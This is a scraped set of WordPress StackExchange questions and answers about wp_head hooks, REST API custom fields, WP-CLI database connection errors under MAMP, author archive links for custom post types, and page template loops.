<p>there are many plugins that do some job but can i add custom code for example: <code>&lt;link href="http://buhehe.de/wp-content/uploads/2017/12/Buhehe.ico" rel="shortcut icon" type="image/x-icon"&gt; &lt;/head&gt;</code> from Function.php?</p>
[ { "answer_id": 290736, "author": "David Sword", "author_id": 132362, "author_profile": "https://wordpress.stackexchange.com/users/132362", "pm_score": 1, "selected": false, "text": "<p>Yes, you can:</p>\n\n<pre><code>add_action('wp_head',function() {\n echo 'your html here';\n});\n</code></pre>\n\n<p>However your <code>.ico</code> file should be put in a place it can't be purposely or accidentally deleted, like your theme folder beside your functions.php. Once done you can then use the following to construct the URL:</p>\n\n<pre><code>add_action('wp_head',function() {\n echo '&lt;link href=\"'.get_template_directory_uri().'/Buhehe.ico\" rel=\"shortcut icon\" type=\"image/x-icon\"&gt;';\n});\n</code></pre>\n\n<p>Note if you already have a <code>shortcut icon</code> in the source code, the browser will pick whichever one its designed to pick (first or last).</p>\n" }, { "answer_id": 290737, "author": "Marvin", "author_id": 123899, "author_profile": "https://wordpress.stackexchange.com/users/123899", "pm_score": 1, "selected": false, "text": "<p>You can add any code to head tag with the wp_head hook</p>\n\n<pre><code>function hook_link() {\n ?&gt;\n &lt;link href=\"http://buhehe.de/wp-content/uploads/2017/12/Buhehe.ico\" rel=\"shortcut icon\" type=\"image/x-icon\"&gt;\n &lt;?php\n}\nadd_action('wp_head', 'hook_link');\n</code></pre>\n" }, { "answer_id": 290766, "author": "maverick", "author_id": 132953, "author_profile": "https://wordpress.stackexchange.com/users/132953", "pm_score": 0, "selected": false, "text": "<p>Feel free to experiment, put code given below inside enqueue style function in your functions.php:</p>\n\n<pre><code>wp_enqueue_style('identifier_for_your_file', 'http://buhehe.de/wp-content/uploads/2017/12/Buhehe.ico');\n</code></pre>\n" }, { "answer_id": 290788, "author": "Sigma Wadbude", "author_id": 134655, "author_profile": "https://wordpress.stackexchange.com/users/134655", "pm_score": 0, "selected": false, "text": "<p>Try This</p>\n\n<pre><code>add_action('wp_head', 'my_shortcut_icon_func' );\n\nfunction my_shortcut_icon_func() {\n echo '&lt;link href=\"'.get_template_directory_uri().'/Buhehe.ico\" rel=\"shortcut icon\" type=\"image/x-icon\"&gt;';\n}\n</code></pre>\n\n<p>Add the above in your theme's functions.php file</p>\n" } ]
2018/01/10
[ "https://wordpress.stackexchange.com/questions/290732", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/133900/" ]
there are many plugins that do some job but can i add custom code for example: `<link href="http://buhehe.de/wp-content/uploads/2017/12/Buhehe.ico" rel="shortcut icon" type="image/x-icon"> </head>` from Function.php?
Yes, you can: ``` add_action('wp_head',function() { echo 'your html here'; }); ``` However your `.ico` file should be put in a place it can't be purposely or accidentally deleted, like your theme folder beside your functions.php. Once done you can then use the following to construct the URL: ``` add_action('wp_head',function() { echo '<link href="'.get_template_directory_uri().'/Buhehe.ico" rel="shortcut icon" type="image/x-icon">'; }); ``` Note if you already have a `shortcut icon` in the source code, the browser will pick whichever one its designed to pick (first or last).
290,757
<p>I am trying to add custom post data( post meta data) through wordpress API but I am getting difficulty while updating/adding custom post data. below is the code that am using.</p> <p><strong>Code written in function.php</strong></p> <pre><code> add_action( 'rest_api_init', 'create_api_posts_meta_field' ); function create_api_posts_meta_field() { // register_rest_field ( 'name-of-post-type', 'name-of-field-to-return', array-of-callbacks-and-schema() ) register_rest_field( 'experience', 'subtitle', array( 'get_callback' =&gt; 'get_post_meta_for_api', 'update_callback' =&gt; 'update_post_meta_for_exp', 'schema' =&gt; null, ) ); } function update_post_meta_for_exp($object, $meta_value ) { $havemetafield = get_post_meta($object['id'], 'experience', false); if ($havemetafield) { $ret = update_post_meta($object['id'], 'subtitle', $meta_value ); return true; } else { $ret = add_post_meta( $object['id'], 'subtitle', $meta_value ,true ); return true; } } function get_post_meta_for_api( $object ) { //get the id of the post object array $post_id = $object['id']; //return the post meta return get_post_meta( $post_id )["Subtitle"][0]; } function create_api_posts_meta_field_time() { // register_rest_field ( 'name-of-post-type', 'name-of-field-to-return', array-of-callbacks-and-schema() ) register_rest_field( 'experience', 'timing_of_experience', array( 'get_callback' =&gt; 'get_post_meta_for_api_time', 'update_callback' =&gt; function($meta_value ) { $havemetafield = get_post_meta(1, 'experience', false); if ($havemetafield) { $ret = update_post_meta(1, 'timing_of_experience', $meta_value ); return true; } else { $ret = add_post_meta( 1, 'timing_of_experience', $meta_value ,true ); return true; } }, 'schema' =&gt; null, ) ); } function get_post_meta_for_api_time( $object ) { //get the id of the post object array $post_id = $object['id']; //return the post meta return get_post_meta( $post_id )["timing_of_experience"][0]; } </code></pre> <p>JS file included in page I am working on</p> <pre><code>var quickAddExperience = document.querySelector("#quick-add-experience"); if (quickAddExperience) { quickAddExperience.addEventListener("click",function() { var ourPostData = { 'title' : document.getElementById('title').value, 'content' : document.getElementById('content').value, 'subtitle' : document.getElementById('company_name').value, 'timing_of_experience' : document.getElementById('time_period').value, 'status' : 'publish' } console.log(ourPostData); var createPost = new XMLHttpRequest(); createPost.open("POST", magicalData.siteURL + "/wp-json/wp/v2/experience-api"); createPost.setRequestHeader("X-WP-Nonce", magicalData.nonce); createPost.setRequestHeader("Content-Type","application/json;charset=UTF-8"); createPost.send(JSON.stringify(ourPostData)); createPost.onreadystatechange = function(){ if (createPost.readystate == 4) { if (createPost.status == 201) { document.querySelector('.data-api-post-1 [name="title"]').value =''; document.querySelector('.data-api-post-1 [name="content"]').value =''; document.querySelector('.data-api-post-1 [name="company_name"]').value =''; document.querySelector('.data-api-post-1 [name="time_period"]').value =''; }else{ alert("Error - try again"); } } } }); } </code></pre> <p>This code is working for default field means new post is created but only title and content is there.</p> <p><strong>Edit:</strong> When I tried to debug the then came to know that update_callback code is not executing but get_callback is executing.</p>
[ { "answer_id": 291240, "author": "Muddasir Abbas", "author_id": 59271, "author_profile": "https://wordpress.stackexchange.com/users/59271", "pm_score": 1, "selected": false, "text": "<p><em>You can write custom post data using below code. I write custom post type \"ad_portfolio\" categories and featured image in WordPress API using below code. hope it helps. Thanks</em> </p>\n\n<pre><code> function prepare_rest($data, $post, $request){\n $_data = $data-&gt;data;\n\n $thumbnail_id = get_post_thumbnail_id( $post-&gt;ID );\n $featured_media_url = wp_get_attachment_image_src( $thumbnail_id, 'large' );\n\n $post_categories = wp_get_post_terms( $post-&gt;ID, 'ad_portfolios' , array(\"fields\" =&gt; \"all\") );\n $cats = array();\n\n foreach($post_categories as $cat){\n $cats[] = ['slug' =&gt; $cat-&gt;slug, 'name' =&gt; $cat-&gt;name ];\n }\n\n $_data['featured_media_url'] = $featured_media_url[0];\n $_data['portfolio_cats'] = $cats;\n $data-&gt;data = $_data;\n\n return $data;\n}\nadd_filter('rest_prepare_ad_portfolio', 'prepare_rest', 10, 3);\n//post type is \"ad_portfolio\"\n</code></pre>\n" }, { "answer_id": 291655, "author": "Andrei", "author_id": 26395, "author_profile": "https://wordpress.stackexchange.com/users/26395", "pm_score": 3, "selected": true, "text": "<p>I just ran a test with your code and in my opinion, this is not working because you have an error in the <code>get_callback</code> function. </p>\n\n<p>First time it will try to get the <code>subtitle</code>( or the <code>timing_of_experience</code>) but it will trigger an error because it doesn't exists in the first place and this error will block the registration of the <code>update_callback</code>.</p>\n\n<p>So, the problem is that in the <code>get_callback</code> the <code>Subtitle</code> key has a capital <code>S</code> and this is not the way it is saved.</p>\n\n<p>Second, you should respect the general rule of validating data and check if the value exists before trying to access it. Like this:</p>\n\n<pre><code>function get_post_meta_for_api( $object ) {\n //get the id of the post object array\n $post_id = $object['id'];\n\n $meta = get_post_meta( $post_id );\n\n if ( isset( $meta['subtitle' ] ) &amp;&amp; isset( $meta['subtitle' ][0] ) ) {\n //return the post meta\n return $meta['subtitle' ][0];\n }\n\n // meta not found\n return false;\n}\n</code></pre>\n\n<p>Like I said, I ran a test, replacing your <code>experience</code> post type with <code>post</code> and it is working.</p>\n\n<p>Bonus tips, you should try to organize your code better since it is hard to read with this indentation and functions order. also, the for the <code>update_callback</code> a simple <code>return true</code> is enough.</p>\n\n<pre><code>function update_post_meta_for_exp($object, $meta_value ) {\n $havemetafield = get_post_meta($object['id'], 'experience', false);\n if ($havemetafield) {\n $ret = update_post_meta($object['id'], 'subtitle', $meta_value );\n } else {\n $ret = add_post_meta( $object['id'], 'subtitle', $meta_value ,true );\n }\n return true;\n}\n</code></pre>\n" } ]
2018/01/11
[ "https://wordpress.stackexchange.com/questions/290757", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/134644/" ]
I am trying to add custom post data( post meta data) through wordpress API but I am getting difficulty while updating/adding custom post data. below is the code that am using. **Code written in function.php** ``` add_action( 'rest_api_init', 'create_api_posts_meta_field' ); function create_api_posts_meta_field() { // register_rest_field ( 'name-of-post-type', 'name-of-field-to-return', array-of-callbacks-and-schema() ) register_rest_field( 'experience', 'subtitle', array( 'get_callback' => 'get_post_meta_for_api', 'update_callback' => 'update_post_meta_for_exp', 'schema' => null, ) ); } function update_post_meta_for_exp($object, $meta_value ) { $havemetafield = get_post_meta($object['id'], 'experience', false); if ($havemetafield) { $ret = update_post_meta($object['id'], 'subtitle', $meta_value ); return true; } else { $ret = add_post_meta( $object['id'], 'subtitle', $meta_value ,true ); return true; } } function get_post_meta_for_api( $object ) { //get the id of the post object array $post_id = $object['id']; //return the post meta return get_post_meta( $post_id )["Subtitle"][0]; } function create_api_posts_meta_field_time() { // register_rest_field ( 'name-of-post-type', 'name-of-field-to-return', array-of-callbacks-and-schema() ) register_rest_field( 'experience', 'timing_of_experience', array( 'get_callback' => 'get_post_meta_for_api_time', 'update_callback' => function($meta_value ) { $havemetafield = get_post_meta(1, 'experience', false); if ($havemetafield) { $ret = update_post_meta(1, 'timing_of_experience', $meta_value ); return true; } else { $ret = add_post_meta( 1, 'timing_of_experience', $meta_value ,true ); return true; } }, 'schema' => null, ) ); } function get_post_meta_for_api_time( $object ) { //get the id of the post object array $post_id = $object['id']; //return the post meta return get_post_meta( $post_id )["timing_of_experience"][0]; } ``` JS file included in page I am working on ``` var quickAddExperience = document.querySelector("#quick-add-experience"); if (quickAddExperience) { quickAddExperience.addEventListener("click",function() { var ourPostData = { 'title' : document.getElementById('title').value, 'content' : document.getElementById('content').value, 'subtitle' : document.getElementById('company_name').value, 'timing_of_experience' : document.getElementById('time_period').value, 'status' : 'publish' } console.log(ourPostData); var createPost = new XMLHttpRequest(); createPost.open("POST", magicalData.siteURL + "/wp-json/wp/v2/experience-api"); createPost.setRequestHeader("X-WP-Nonce", magicalData.nonce); createPost.setRequestHeader("Content-Type","application/json;charset=UTF-8"); createPost.send(JSON.stringify(ourPostData)); createPost.onreadystatechange = function(){ if (createPost.readystate == 4) { if (createPost.status == 201) { document.querySelector('.data-api-post-1 [name="title"]').value =''; document.querySelector('.data-api-post-1 [name="content"]').value =''; document.querySelector('.data-api-post-1 [name="company_name"]').value =''; document.querySelector('.data-api-post-1 [name="time_period"]').value =''; }else{ alert("Error - try again"); } } } }); } ``` This code is working for default field means new post is created but only title and content is there. **Edit:** When I tried to debug the then came to know that update\_callback code is not executing but get\_callback is executing.
I just ran a test with your code and in my opinion, this is not working because you have an error in the `get_callback` function. First time it will try to get the `subtitle`( or the `timing_of_experience`) but it will trigger an error because it doesn't exists in the first place and this error will block the registration of the `update_callback`. So, the problem is that in the `get_callback` the `Subtitle` key has a capital `S` and this is not the way it is saved. Second, you should respect the general rule of validating data and check if the value exists before trying to access it. Like this: ``` function get_post_meta_for_api( $object ) { //get the id of the post object array $post_id = $object['id']; $meta = get_post_meta( $post_id ); if ( isset( $meta['subtitle' ] ) && isset( $meta['subtitle' ][0] ) ) { //return the post meta return $meta['subtitle' ][0]; } // meta not found return false; } ``` Like I said, I ran a test, replacing your `experience` post type with `post` and it is working. Bonus tips, you should try to organize your code better since it is hard to read with this indentation and functions order. also, the for the `update_callback` a simple `return true` is enough. ``` function update_post_meta_for_exp($object, $meta_value ) { $havemetafield = get_post_meta($object['id'], 'experience', false); if ($havemetafield) { $ret = update_post_meta($object['id'], 'subtitle', $meta_value ); } else { $ret = add_post_meta( $object['id'], 'subtitle', $meta_value ,true ); } return true; } ```
290,793
<p>I get this error when I try to create something with WP CLI:</p> <pre><code>Error establishing a database connection. This either means that the username and password information in your `wp-config.php` file is incorrect or we can’t contact the database server at `localhost`. This could mean your host’s database server is down. </code></pre> <p>But I can open the site with the link: <a href="http://localhost:8888/projectname" rel="noreferrer">http://localhost:8888/projectname</a></p> <p>Any idea?</p>
[ { "answer_id": 290797, "author": "maverick", "author_id": 132953, "author_profile": "https://wordpress.stackexchange.com/users/132953", "pm_score": 0, "selected": false, "text": "<p>Step1: check if your mysql server is running\nStep2: if yes then you can log in to mysql using </p>\n\n<pre><code>mysql -u root -p\n</code></pre>\n\n<p>then enter your password: ( you must use this command from terminal )\nthen use following command to ensure that database exists:</p>\n\n<pre><code>show databases;\ngrant all privileges on database_name.* to 'root'@'localhost' identified by 'password';\nflush privileges;\nexit;\n</code></pre>\n\n<p>now edit the wp-config.php file and search for </p>\n\n<pre><code>define('DB_NAME', 'db_name');\ndefine('DB_USER', 'root');\ndefine('DB_PASSWORD', 'password');\ndefine('DB_HOST', 'localhost');\n</code></pre>\n\n<p>Now restart the server and try to login to your wordpress dashboard.\nI hope it helps.</p>\n" }, { "answer_id": 309127, "author": "Florin", "author_id": 141311, "author_profile": "https://wordpress.stackexchange.com/users/141311", "pm_score": 5, "selected": false, "text": "<p>Go into your <code>wp-config.php</code> and change your <code>DB_HOST</code> to <code>127.0.0.1</code> instead of localhost.</p>\n\n<p>Credit goes to Craig Wayne above in the comments.</p>\n" }, { "answer_id": 311996, "author": "That Brazilian Guy", "author_id": 22510, "author_profile": "https://wordpress.stackexchange.com/users/22510", "pm_score": 0, "selected": false, "text": "<p>In my case, besides the aforementioned error message, I also got the warnings below:</p>\n\n<pre><code>PHP Warning: mysqli_real_connect(): Server sent charset (255) unknown to the client. Please, report to the developers in /var/www/html/wp-includes/wp-db.php on line 1531\nWarning: mysqli_real_connect(): Server sent charset (255) unknown to the client. Please, report to the developers in /var/www/html/wp-includes/wp-db.php on line 1531\nPHP Warning: mysqli_real_connect(): (HY000/2054): Server sent charset unknown to the client. Please, report to the developers in /var/www/html/wp-includes/wp-db.php on line 1531\nWarning: mysqli_real_connect(): (HY000/2054): Server sent charset unknown to the client. Please, report to the developers in /var/www/html/wp-includes/wp-db.php on line 1531\nPHP Deprecated: mysql_connect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead in /var/www/html/wp-includes/wp-db.php on line 1562\nDeprecated: mysql_connect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead in /var/www/html/wp-includes/wp-db.php on line 1562\nPHP Warning: mysql_connect(): Server sent charset (255) unknown to the client. Please, report to the developers in /var/www/html/wp-includes/wp-db.php on line 1562\nWarning: mysql_connect(): Server sent charset (255) unknown to the client. Please, report to the developers in /var/www/html/wp-includes/wp-db.php on line 1562\nPHP Warning: mysql_connect(): Server sent charset unknown to the client. Please, report to the developers in /var/www/html/wp-includes/wp-db.php on line 1562\nWarning: mysql_connect(): Server sent charset unknown to the client. Please, report to the developers in /var/www/html/wp-includes/wp-db.php on line 1562\n</code></pre>\n\n<p>According to <a href=\"https://stackoverflow.com/questions/43437490/pdo-construct-server-sent-charset-255-unknown-to-the-client-please-rep\">this question</a>, this issue happens because the default charset for MySQL 8.0 is <code>utfmb4</code>. </p>\n\n<p>In fact, I could replicate the error by upgrading from MySQL 5.7 to MySQL 8.0</p>\n\n<p>I solved the issue by exporting the database, downgrading to MySQL 5.7 and re-importing the data. I also ran tests on MariaDB 10.3 and it works fine.</p>\n" }, { "answer_id": 313862, "author": "eknows", "author_id": 150411, "author_profile": "https://wordpress.stackexchange.com/users/150411", "pm_score": 3, "selected": false, "text": "<p>Make sure to use the MAMP PHP binary.\nYou can check the which PHP Version WP CLI is running with </p>\n\n<pre><code>php wp-cli.phar --info\n</code></pre>\n\n<p>To use the latest MAMP PHP you need to modify your bash or zsh profile:</p>\n\n<pre><code>PHP_VERSION=$(ls /Applications/MAMP/bin/php/ | sort -n | tail -1)\nexport PATH=/Applications/MAMP/bin/php/${PHP_VERSION}/bin:$PATH\n</code></pre>\n\n<p>Make sure to reload the profile:</p>\n\n<pre><code>source ~/.bash_profile\n</code></pre>\n\n<p>Make sure that the changes are applied correctly:</p>\n\n<pre><code> php wp-cli.phar --info\n</code></pre>\n" }, { "answer_id": 336823, "author": "Evan", "author_id": 167188, "author_profile": "https://wordpress.stackexchange.com/users/167188", "pm_score": 4, "selected": false, "text": "<p>For me, the answer was changing the setting for <code>DB_HOST</code> to <code>127.0.0.1:8889</code> instead of <code>localhost</code> in <code>wp-config.php</code>, and also checking the box to \"Allow network access to MySQL\" in the MySQL settings. Getting the port set to the port that MAMP Pro is using for the database was the critical missing piece that I didn't see in the other answers here. YMMV.</p>\n" }, { "answer_id": 343736, "author": "Cato", "author_id": 172520, "author_profile": "https://wordpress.stackexchange.com/users/172520", "pm_score": 0, "selected": false, "text": "<p>In my case, I had to do what eknows proposed in his solution (<a href=\"https://wordpress.stackexchange.com/a/313862/172520\">https://wordpress.stackexchange.com/a/313862/172520</a>) AND of course enabling network access to MySQL for my Mac (using MAMP Pro).</p>\n" }, { "answer_id": 350468, "author": "saltcod", "author_id": 3877, "author_profile": "https://wordpress.stackexchange.com/users/3877", "pm_score": 2, "selected": false, "text": "<p>There's two parts of this that need to work together: </p>\n\n<p>— You need to switch from <code>localhost</code> to <code>127.0.0.1</code> and add the port number at the end. For me, it was <code>127.0.0.1:3306</code>. </p>\n\n<p>The port number is in the MySQL panel in Mamp. </p>\n\n<p><a href=\"https://i.stack.imgur.com/3xeew.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/3xeew.png\" alt=\"enter image description here\"></a></p>\n" }, { "answer_id": 389030, "author": "Sokratesagogo", "author_id": 50193, "author_profile": "https://wordpress.stackexchange.com/users/50193", "pm_score": 0, "selected": false, "text": "<p>You may also get this error with certain WP operations if you are using it on a WordPress multisite, in which case you need to specify an URL eg. --url=mysite.org</p>\n" } ]
2018/01/11
[ "https://wordpress.stackexchange.com/questions/290793", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/25239/" ]
I get this error when I try to create something with WP CLI: ``` Error establishing a database connection. This either means that the username and password information in your `wp-config.php` file is incorrect or we can’t contact the database server at `localhost`. This could mean your host’s database server is down. ``` But I can open the site with the link: <http://localhost:8888/projectname> Any idea?
Go into your `wp-config.php` and change your `DB_HOST` to `127.0.0.1` instead of localhost. Credit goes to Craig Wayne above in the comments.
290,855
<p>I would like to set up a function in my functions.php file in a theme so that when a custom-post-type is being viewed, if the user clicks the author name in the post, it only shows CPTs by that author, but on the main blog if they click the author name it will only show the blog posts of that author. I already have the author names showing in my custom post and normal post meta and I have an archive-cpt.php file which is working as it should.</p> <p>The pseudo code would be : </p> <pre><code>if (post == custom post type) { // only show custom post types by author when author name is clicked } else { // only show blog posts by author when author name is clicked } </code></pre> <p>I seem to have been going round in circles for 2 days and I'm getting nowhere.</p> <p>Also I'd be happy to take a solution if it means using the author.php page as well. I'm thinking it would just be easier in the functions.php file.</p> <p>Any help would be amazing.</p>
[ { "answer_id": 290863, "author": "blanck", "author_id": 134708, "author_profile": "https://wordpress.stackexchange.com/users/134708", "pm_score": -1, "selected": false, "text": "<p><code>SELECT * FROM wp_posts WHERE autor=[autor id] AND post_type=[custom post type]</code></p>\n" }, { "answer_id": 293350, "author": "Joy Reynolds", "author_id": 43242, "author_profile": "https://wordpress.stackexchange.com/users/43242", "pm_score": 0, "selected": false, "text": "<p>You will need to filter 'author_link' to conditionally add the parameter that can be used to add the custom post type into the query for the author's posts.</p>\n\n<pre><code>add_filter( 'author_link', 'myprefix_author_link', 10, 3 );\nfunction myprefix_author_link( $link, $author_id, $author_nicename ) {\n if ( is_singular( 'myCPT' ) || is_post_type_archive( 'myCPT' ) ) {\n $link = add_query_arg( 'post_type', 'myCPT', $link );\n }\n return $link;\n}\n</code></pre>\n\n<p>The default (your <code>else</code> clause) will show only posts anyway, so no new code is needed for that.</p>\n" } ]
2018/01/11
[ "https://wordpress.stackexchange.com/questions/290855", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/106972/" ]
I would like to set up a function in my functions.php file in a theme so that when a custom-post-type is being viewed, if the user clicks the author name in the post, it only shows CPTs by that author, but on the main blog if they click the author name it will only show the blog posts of that author. I already have the author names showing in my custom post and normal post meta and I have an archive-cpt.php file which is working as it should. The pseudo code would be : ``` if (post == custom post type) { // only show custom post types by author when author name is clicked } else { // only show blog posts by author when author name is clicked } ``` I seem to have been going round in circles for 2 days and I'm getting nowhere. Also I'd be happy to take a solution if it means using the author.php page as well. I'm thinking it would just be easier in the functions.php file. Any help would be amazing.
You will need to filter 'author\_link' to conditionally add the parameter that can be used to add the custom post type into the query for the author's posts. ``` add_filter( 'author_link', 'myprefix_author_link', 10, 3 ); function myprefix_author_link( $link, $author_id, $author_nicename ) { if ( is_singular( 'myCPT' ) || is_post_type_archive( 'myCPT' ) ) { $link = add_query_arg( 'post_type', 'myCPT', $link ); } return $link; } ``` The default (your `else` clause) will show only posts anyway, so no new code is needed for that.
290,858
<p>The “Lost your password?” link on the standard WordPress login screen (wp-login) links to /shop/my-account/lost-password/ instead of the WP standard (wp-login.php?action=lostpassword). My website is the following: www.lazonemph.com </p> <p>I use Members plugin and Wocommerce.. </p> <p>1) How do I set this back to the WP password page? Because right now my user can't reset their password since the lost/password page is blocked by the members plugin. This link works fine: <a href="https://lazonemph.com/wp-login.php?action=lostpassword" rel="nofollow noreferrer">https://lazonemph.com/wp-login.php?action=lostpassword</a> </p> <p>Can you help me with that please? Thank you! </p>
[ { "answer_id": 290863, "author": "blanck", "author_id": 134708, "author_profile": "https://wordpress.stackexchange.com/users/134708", "pm_score": -1, "selected": false, "text": "<p><code>SELECT * FROM wp_posts WHERE autor=[autor id] AND post_type=[custom post type]</code></p>\n" }, { "answer_id": 293350, "author": "Joy Reynolds", "author_id": 43242, "author_profile": "https://wordpress.stackexchange.com/users/43242", "pm_score": 0, "selected": false, "text": "<p>You will need to filter 'author_link' to conditionally add the parameter that can be used to add the custom post type into the query for the author's posts.</p>\n\n<pre><code>add_filter( 'author_link', 'myprefix_author_link', 10, 3 );\nfunction myprefix_author_link( $link, $author_id, $author_nicename ) {\n if ( is_singular( 'myCPT' ) || is_post_type_archive( 'myCPT' ) ) {\n $link = add_query_arg( 'post_type', 'myCPT', $link );\n }\n return $link;\n}\n</code></pre>\n\n<p>The default (your <code>else</code> clause) will show only posts anyway, so no new code is needed for that.</p>\n" } ]
2018/01/11
[ "https://wordpress.stackexchange.com/questions/290858", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/134706/" ]
The “Lost your password?” link on the standard WordPress login screen (wp-login) links to /shop/my-account/lost-password/ instead of the WP standard (wp-login.php?action=lostpassword). My website is the following: www.lazonemph.com I use Members plugin and Wocommerce.. 1) How do I set this back to the WP password page? Because right now my user can't reset their password since the lost/password page is blocked by the members plugin. This link works fine: <https://lazonemph.com/wp-login.php?action=lostpassword> Can you help me with that please? Thank you!
You will need to filter 'author\_link' to conditionally add the parameter that can be used to add the custom post type into the query for the author's posts. ``` add_filter( 'author_link', 'myprefix_author_link', 10, 3 ); function myprefix_author_link( $link, $author_id, $author_nicename ) { if ( is_singular( 'myCPT' ) || is_post_type_archive( 'myCPT' ) ) { $link = add_query_arg( 'post_type', 'myCPT', $link ); } return $link; } ``` The default (your `else` clause) will show only posts anyway, so no new code is needed for that.
290,867
<p>I'm trying to add some custom elements to a site's RSS feed. I thought it would be as simple as adding something like this to the active theme's functions.php:</p> <pre><code>function add_fields_to_videocast_rss_item() { echo "&lt;test&gt;This is a test&lt;/test&gt;"; } add_action('rss2_item', 'add_fields_to_videocast_rss_item'); </code></pre> <p>However, when I call the feed URL at: <a href="http://my.site.com/feed" rel="nofollow noreferrer">http://my.site.com/feed</a> this code never gets executed. In fact functions.php isn't used. This doesn't match with the official docs on this in de WP Codex.</p> <p>Anything I'm missing here?</p>
[ { "answer_id": 290863, "author": "blanck", "author_id": 134708, "author_profile": "https://wordpress.stackexchange.com/users/134708", "pm_score": -1, "selected": false, "text": "<p><code>SELECT * FROM wp_posts WHERE autor=[autor id] AND post_type=[custom post type]</code></p>\n" }, { "answer_id": 293350, "author": "Joy Reynolds", "author_id": 43242, "author_profile": "https://wordpress.stackexchange.com/users/43242", "pm_score": 0, "selected": false, "text": "<p>You will need to filter 'author_link' to conditionally add the parameter that can be used to add the custom post type into the query for the author's posts.</p>\n\n<pre><code>add_filter( 'author_link', 'myprefix_author_link', 10, 3 );\nfunction myprefix_author_link( $link, $author_id, $author_nicename ) {\n if ( is_singular( 'myCPT' ) || is_post_type_archive( 'myCPT' ) ) {\n $link = add_query_arg( 'post_type', 'myCPT', $link );\n }\n return $link;\n}\n</code></pre>\n\n<p>The default (your <code>else</code> clause) will show only posts anyway, so no new code is needed for that.</p>\n" } ]
2018/01/11
[ "https://wordpress.stackexchange.com/questions/290867", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/37750/" ]
I'm trying to add some custom elements to a site's RSS feed. I thought it would be as simple as adding something like this to the active theme's functions.php: ``` function add_fields_to_videocast_rss_item() { echo "<test>This is a test</test>"; } add_action('rss2_item', 'add_fields_to_videocast_rss_item'); ``` However, when I call the feed URL at: <http://my.site.com/feed> this code never gets executed. In fact functions.php isn't used. This doesn't match with the official docs on this in de WP Codex. Anything I'm missing here?
You will need to filter 'author\_link' to conditionally add the parameter that can be used to add the custom post type into the query for the author's posts. ``` add_filter( 'author_link', 'myprefix_author_link', 10, 3 ); function myprefix_author_link( $link, $author_id, $author_nicename ) { if ( is_singular( 'myCPT' ) || is_post_type_archive( 'myCPT' ) ) { $link = add_query_arg( 'post_type', 'myCPT', $link ); } return $link; } ``` The default (your `else` clause) will show only posts anyway, so no new code is needed for that.
290,878
<p>I have created a page template to display specific data. Is it a bad idea to copy the loop from page.php and paste it as is in the template file? Does this mess with the loop? Doing this has made my page just as I need it. I tried a custom query using WP_Query but that didn't want to work</p> <p>I am using a custom query in a page template but it displays nothing. What am I missing?</p> <pre><code> $query = new WP_Query(); if( $query-&gt;have_posts()): while($query-&gt;have_posts()): $query-&gt;the_post(); get_template_part( 'template-parts/page/content', 'page' ); // If comments are open or we have at least one comment, load up the comment template. if ( comments_open() || get_comments_number() ) : comments_template(); endif; endwhile; // End of the loop. endif; </code></pre>
[ { "answer_id": 290880, "author": "maverick", "author_id": 132953, "author_profile": "https://wordpress.stackexchange.com/users/132953", "pm_score": -1, "selected": false, "text": "<p>I think it's okay to do that.\nproblem will arise if you don't name the file in proper way.\ni.e., wordpress will try to load that file according to template hierarchy (in case you want to explore what wp template hierarchy is visit: <a href=\"https://wphierarchy.com/\" rel=\"nofollow noreferrer\">https://wphierarchy.com/</a>)\nIf you are trying to make a custom post type then rename the file according to your post type slug(e.g. if your custom post type is testimonials then name the file page-testimonials.php).\nI hope it helps.</p>\n" }, { "answer_id": 290958, "author": "Jamie", "author_id": 14761, "author_profile": "https://wordpress.stackexchange.com/users/14761", "pm_score": 1, "selected": false, "text": "<p>It seems all I needed to do was put in the template_part</p>\n\n<pre><code> get_template_part( 'template-parts/page/content', 'page' );\n</code></pre>\n" } ]
2018/01/12
[ "https://wordpress.stackexchange.com/questions/290878", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/14761/" ]
I have created a page template to display specific data. Is it a bad idea to copy the loop from page.php and paste it as is in the template file? Does this mess with the loop? Doing this has made my page just as I need it. I tried a custom query using WP\_Query but that didn't want to work I am using a custom query in a page template but it displays nothing. What am I missing? ``` $query = new WP_Query(); if( $query->have_posts()): while($query->have_posts()): $query->the_post(); get_template_part( 'template-parts/page/content', 'page' ); // If comments are open or we have at least one comment, load up the comment template. if ( comments_open() || get_comments_number() ) : comments_template(); endif; endwhile; // End of the loop. endif; ```
It seems all I needed to do was put in the template\_part ``` get_template_part( 'template-parts/page/content', 'page' ); ```
290,893
<p>I have a webpage hosted in 'www.example.com' (for example) and a domain 'www.domain.com'. My problem is that I do not know how to point configure WordPress and make my page available online. </p> <p>I've already tried changing the site address (www.domain.com) and the WordPress address (www.example.com) in General Settings and also from <code>wp-config.php</code>. I've also tried setting up apache virtualhost in apache2/sites-available but still nothing is working. </p> <p>Any clue what do I need to do to get my website public?</p> <p>Thank you</p>
[ { "answer_id": 290880, "author": "maverick", "author_id": 132953, "author_profile": "https://wordpress.stackexchange.com/users/132953", "pm_score": -1, "selected": false, "text": "<p>I think it's okay to do that.\nproblem will arise if you don't name the file in proper way.\ni.e., wordpress will try to load that file according to template hierarchy (in case you want to explore what wp template hierarchy is visit: <a href=\"https://wphierarchy.com/\" rel=\"nofollow noreferrer\">https://wphierarchy.com/</a>)\nIf you are trying to make a custom post type then rename the file according to your post type slug(e.g. if your custom post type is testimonials then name the file page-testimonials.php).\nI hope it helps.</p>\n" }, { "answer_id": 290958, "author": "Jamie", "author_id": 14761, "author_profile": "https://wordpress.stackexchange.com/users/14761", "pm_score": 1, "selected": false, "text": "<p>It seems all I needed to do was put in the template_part</p>\n\n<pre><code> get_template_part( 'template-parts/page/content', 'page' );\n</code></pre>\n" } ]
2018/01/12
[ "https://wordpress.stackexchange.com/questions/290893", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128080/" ]
